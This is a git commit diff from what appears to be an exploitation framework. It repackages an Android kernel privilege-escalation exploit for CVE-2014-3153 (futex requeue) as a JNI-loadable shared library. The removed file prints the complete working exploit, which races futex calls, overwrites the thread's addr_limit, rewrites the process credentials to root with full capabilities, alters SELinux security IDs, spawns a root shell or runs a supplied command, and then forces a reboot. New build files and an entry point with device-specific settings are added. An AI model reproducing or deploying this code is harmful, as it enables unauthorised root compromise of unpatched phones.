convert futex_requeue module to use targetting and core_loadlib
This commit is contained in:
parent
3a998fada2
commit
7ac3859393
|
@ -3,8 +3,24 @@ LOCAL_PATH := $(call my-dir)
|
|||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := exploit.c
|
||||
LOCAL_CFLAGS := -fno-stack-protector -O0
|
||||
LOCAL_MODULE := debugexploit
|
||||
LOCAL_SRC_FILES := futex_requeue.c main.c
|
||||
LOCAL_LDFLAGS += -llog
|
||||
LOCAL_CFLAGS += -DDEBUG
|
||||
LOCAL_CFLAGS += -fno-stack-protector -O0
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
#LOCAL_CFLAGS += -pie -fPIE
|
||||
#LOCAL_LDFLAGS += -pie -fPIE
|
||||
|
||||
LOCAL_LDFLAGS += -llog
|
||||
LOCAL_CFLAGS += -DDEBUG
|
||||
LOCAL_CFLAGS += -fno-stack-protector -O0
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := futex_requeue.c main.c
|
||||
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
||||
|
||||
|
|
|
@ -5,11 +5,13 @@ build:
|
|||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
|
||||
|
||||
install: build
|
||||
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
|
||||
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so
|
||||
|
||||
test: build
|
||||
adb push libs/armeabi/exploit /data/local/tmp/exploit
|
||||
adb shell "cd /data/local/tmp; ./exploit id"
|
||||
push: build
|
||||
adb push libs/armeabi/debugexploit /data/local/tmp/futex
|
||||
|
||||
run: push
|
||||
adb shell "/data/local/tmp/futex"
|
||||
|
||||
clean:
|
||||
rm -rf libs
|
||||
|
|
|
@ -1,834 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/resource.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define KERNEL_START 0xc0000000
|
||||
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
struct thread_info;
|
||||
struct task_struct;
|
||||
struct cred;
|
||||
struct kernel_cap_struct;
|
||||
struct task_security_struct;
|
||||
struct list_head;
|
||||
|
||||
struct thread_info {
|
||||
unsigned long flags;
|
||||
int preempt_count;
|
||||
unsigned long addr_limit;
|
||||
struct task_struct *task;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct kernel_cap_struct {
|
||||
unsigned long cap[2];
|
||||
};
|
||||
|
||||
struct cred {
|
||||
unsigned long usage;
|
||||
uid_t uid;
|
||||
gid_t gid;
|
||||
uid_t suid;
|
||||
gid_t sgid;
|
||||
uid_t euid;
|
||||
gid_t egid;
|
||||
uid_t fsuid;
|
||||
gid_t fsgid;
|
||||
unsigned long securebits;
|
||||
struct kernel_cap_struct cap_inheritable;
|
||||
struct kernel_cap_struct cap_permitted;
|
||||
struct kernel_cap_struct cap_effective;
|
||||
struct kernel_cap_struct cap_bset;
|
||||
unsigned char jit_keyring;
|
||||
void *thread_keyring;
|
||||
void *request_key_auth;
|
||||
void *tgcred;
|
||||
struct task_security_struct *security;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct task_security_struct {
|
||||
unsigned long osid;
|
||||
unsigned long sid;
|
||||
unsigned long exec_sid;
|
||||
unsigned long create_sid;
|
||||
unsigned long keycreate_sid;
|
||||
unsigned long sockcreate_sid;
|
||||
};
|
||||
|
||||
|
||||
struct task_struct_partial {
|
||||
struct list_head cpu_timers[3];
|
||||
struct cred *real_cred;
|
||||
struct cred *cred;
|
||||
struct cred *replacement_session_keyring;
|
||||
char comm[16];
|
||||
};
|
||||
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
//bss
|
||||
int uaddr1 = 0;
|
||||
int uaddr2 = 0;
|
||||
struct thread_info *HACKS_final_stack_base = NULL;
|
||||
pid_t waiter_thread_tid;
|
||||
pthread_mutex_t done_lock;
|
||||
pthread_cond_t done;
|
||||
pthread_mutex_t is_thread_desched_lock;
|
||||
pthread_cond_t is_thread_desched;
|
||||
volatile int do_socket_tid_read = 0;
|
||||
volatile int did_socket_tid_read = 0;
|
||||
volatile int do_splice_tid_read = 0;
|
||||
volatile int did_splice_tid_read = 0;
|
||||
volatile int do_dm_tid_read = 0;
|
||||
volatile int did_dm_tid_read = 0;
|
||||
pthread_mutex_t is_thread_awake_lock;
|
||||
pthread_cond_t is_thread_awake;
|
||||
int HACKS_fdm = 0;
|
||||
unsigned long MAGIC = 0;
|
||||
unsigned long MAGIC_ALT = 0;
|
||||
pthread_mutex_t *is_kernel_writing;
|
||||
pid_t last_tid = 0;
|
||||
int g_argc;
|
||||
char rootcmd[2048] = "";
|
||||
|
||||
|
||||
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], writebuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
read(pipefd[0], readbuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], writebuf, count);
|
||||
len = read(pipefd[0], readbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
void write_kernel(int signum)
|
||||
{
|
||||
struct thread_info stackbuf;
|
||||
unsigned long taskbuf[0x100];
|
||||
struct cred *cred;
|
||||
struct cred credbuf;
|
||||
struct task_security_struct *security;
|
||||
struct task_security_struct securitybuf;
|
||||
pid_t pid;
|
||||
int i;
|
||||
int ret;
|
||||
FILE *fp;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
pthread_cond_signal(&is_thread_awake);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
if (HACKS_final_stack_base == NULL) {
|
||||
static unsigned long new_addr_limit = 0xffffffff;
|
||||
char *slavename;
|
||||
int pipefd[2];
|
||||
char readbuf[0x100];
|
||||
|
||||
printf("cpid1 resumed\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
HACKS_fdm = open("/dev/ptmx", O_RDWR);
|
||||
unlockpt(HACKS_fdm);
|
||||
slavename = ptsname(HACKS_fdm);
|
||||
|
||||
open(slavename, O_RDWR);
|
||||
|
||||
do_splice_tid_read = 1;
|
||||
while (1) {
|
||||
if (did_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read(HACKS_fdm, readbuf, sizeof readbuf);
|
||||
|
||||
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
|
||||
|
||||
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
|
||||
|
||||
pthread_mutex_unlock(is_kernel_writing);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
printf("cpid3 resumed.\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
printf("hack.\n");
|
||||
|
||||
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
|
||||
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
|
||||
|
||||
cred = NULL;
|
||||
security = NULL;
|
||||
pid = 0;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
struct task_struct_partial *task = (void *)&taskbuf[i];
|
||||
|
||||
|
||||
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
|
||||
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
|
||||
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
|
||||
&& task->real_cred == task->cred) {
|
||||
cred = task->cred;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
security = credbuf.security;
|
||||
|
||||
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
|
||||
read_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
|
||||
if (securitybuf.osid != 0
|
||||
&& securitybuf.sid != 0
|
||||
&& securitybuf.exec_sid == 0
|
||||
&& securitybuf.create_sid == 0
|
||||
&& securitybuf.keycreate_sid == 0
|
||||
&& securitybuf.sockcreate_sid == 0) {
|
||||
securitybuf.osid = 1;
|
||||
securitybuf.sid = 1;
|
||||
|
||||
printf("task_security_struct: %p\n", security);
|
||||
|
||||
write_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
}
|
||||
}
|
||||
|
||||
credbuf.uid = 0;
|
||||
credbuf.gid = 0;
|
||||
credbuf.suid = 0;
|
||||
credbuf.sgid = 0;
|
||||
credbuf.euid = 0;
|
||||
credbuf.egid = 0;
|
||||
credbuf.fsuid = 0;
|
||||
credbuf.fsgid = 0;
|
||||
|
||||
credbuf.cap_inheritable.cap[0] = 0xffffffff;
|
||||
credbuf.cap_inheritable.cap[1] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[0] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[1] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[0] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[1] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[0] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[1] = 0xffffffff;
|
||||
|
||||
write_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
pid = syscall(__NR_gettid);
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
static unsigned long write_value = 1;
|
||||
|
||||
if (taskbuf[i] == pid) {
|
||||
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("ROOT FAILED\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else { //rooted
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
if (g_argc >= 2) {
|
||||
system(rootcmd);
|
||||
} else {
|
||||
system("/system/bin/sh -i");
|
||||
}
|
||||
|
||||
system("/system/bin/touch /dev/rooted");
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
while (1) {
|
||||
ret = access("/dev/rooted", F_OK);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("wait 10 seconds...\n");
|
||||
sleep(10);
|
||||
|
||||
printf("rebooting...\n");
|
||||
sleep(1);
|
||||
system("reboot");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_cond_signal(&done);
|
||||
pthread_mutex_unlock(&done_lock);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
void *make_action(void *arg) {
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (int)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = write_kernel;
|
||||
act.sa_mask = 0;
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(12, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
do_dm_tid_read = 1;
|
||||
|
||||
while (did_dm_tid_read == 0) {
|
||||
;
|
||||
}
|
||||
|
||||
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
printf("futex dm: %d\n", ret);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pid_t wake_actionthread(int prio) {
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, make_action, (void *)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
while (do_dm_tid_read == 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
did_dm_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int make_socket() {
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed.\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
void *send_magicmsg(void *arg) {
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = make_socket();
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = MAGIC;
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
msg_iov[i].iov_base = (void *)MAGIC;
|
||||
msg_iov[i].iov_len = 0x10;
|
||||
}
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
|
||||
|
||||
do_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
if (did_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ret < 0) {
|
||||
perror("SOCKSHIT");
|
||||
}
|
||||
printf("EXIT WTF\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static inline setup_exploit(unsigned long mem)
|
||||
{
|
||||
*((unsigned long *)(mem - 0x04)) = 0x81;
|
||||
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
|
||||
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
|
||||
*((unsigned long *)(mem + 0x1c)) = 0x85;
|
||||
*((unsigned long *)(mem + 0x24)) = mem;
|
||||
*((unsigned long *)(mem + 0x2c)) = mem + 8;
|
||||
}
|
||||
|
||||
void *search_goodnum(void *arg) {
|
||||
int ret;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
unsigned long magicval;
|
||||
pid_t pid;
|
||||
unsigned long goodval, goodval2;
|
||||
unsigned long addr, setaddr;
|
||||
int i;
|
||||
char buf[0x1000];
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
|
||||
if (ret == 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
wake_actionthread(6);
|
||||
wake_actionthread(7);
|
||||
|
||||
uaddr2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
|
||||
|
||||
while (1) {
|
||||
if (do_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
printf("starting the dangerous things\n");
|
||||
|
||||
setup_exploit(MAGIC_ALT);
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
magicval = *((unsigned long *)MAGIC);
|
||||
|
||||
wake_actionthread(11);
|
||||
|
||||
if (*((unsigned long *)MAGIC) == magicval) {
|
||||
printf("using MAGIC_ALT.\n");
|
||||
MAGIC = MAGIC_ALT;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
is_kernel_writing = (pthread_mutex_t *)malloc(4);
|
||||
pthread_mutex_init(is_kernel_writing, NULL);
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(11);
|
||||
|
||||
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
|
||||
|
||||
printf("%p is a good number\n", (void *)goodval);
|
||||
|
||||
do_splice_tid_read = 0;
|
||||
did_splice_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
while (1) {
|
||||
if (do_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_splice_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 != vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
goodval2 = 0;
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
|
||||
|
||||
wake_actionthread(12);
|
||||
goodval2 = *((unsigned long *)(MAGIC + 0x24));
|
||||
|
||||
printf("%p is also a good number.\n", (void *)goodval2);
|
||||
|
||||
for (i = 0; i < 9; i++) {
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(10);
|
||||
|
||||
if (*((unsigned long *)MAGIC) < goodval2) {
|
||||
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
printf("GOING\n");
|
||||
|
||||
write(HACKS_fdm, buf, sizeof buf);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *accept_socket(void *arg) {
|
||||
int sockfd;
|
||||
int yes;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
yes = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
|
||||
while(1) {
|
||||
ret = accept(sockfd, NULL, NULL);
|
||||
if (ret < 0) {
|
||||
printf("**** SOCK_PROC failed ****\n");
|
||||
while(1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else {
|
||||
printf("i have a client like hookers.\n");
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void init_exploit() {
|
||||
unsigned long addr;
|
||||
pthread_t th1, th2, th3;
|
||||
|
||||
printf("running with pid %d\n", getpid());
|
||||
|
||||
pthread_create(&th1, NULL, accept_socket, NULL);
|
||||
|
||||
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC = addr;
|
||||
if ((long)addr >= 0) {
|
||||
printf("first mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC_ALT = addr;
|
||||
if (addr > 0x110000) {
|
||||
printf("second mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_create(&th2, NULL, search_goodnum, NULL);
|
||||
pthread_create(&th3, NULL, send_magicmsg, NULL);
|
||||
pthread_cond_wait(&done, &done_lock);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
g_argc = argc;
|
||||
|
||||
if (argc >= 2) {
|
||||
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
|
||||
int i;
|
||||
for (i=1;i<argc;i++) {
|
||||
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
|
||||
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
|
||||
}
|
||||
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
printf("Finished, looping.\n");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,11 @@
|
|||
//#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <android/log.h>
|
||||
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
|
||||
#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
|
||||
#else
|
||||
#define LOGV(...)
|
||||
#define LOGD(...)
|
||||
#endif
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <jni.h>
|
||||
#include "log.h"
|
||||
|
||||
extern int waiter_exploit();
|
||||
extern int config_new_samsung;
|
||||
extern int config_iovstack;
|
||||
extern int config_offset;
|
||||
extern int config_force_remove;
|
||||
|
||||
void init_exploit() {
|
||||
|
||||
LOGV("[+] <main> parent pid = %d", getpid());
|
||||
|
||||
int retval = waiter_exploit();
|
||||
|
||||
LOGV("Exploit result %d\n", retval);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
if (argc > 4) {
|
||||
config_new_samsung = atoi(argv[1]);
|
||||
config_iovstack = atoi(argv[2]);
|
||||
config_offset = atoi(argv[3]);
|
||||
config_force_remove = atoi(argv[4]);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
|
||||
{
|
||||
JNIEnv *env;
|
||||
LOGV("onload, uid=%d\n", getuid());
|
||||
|
||||
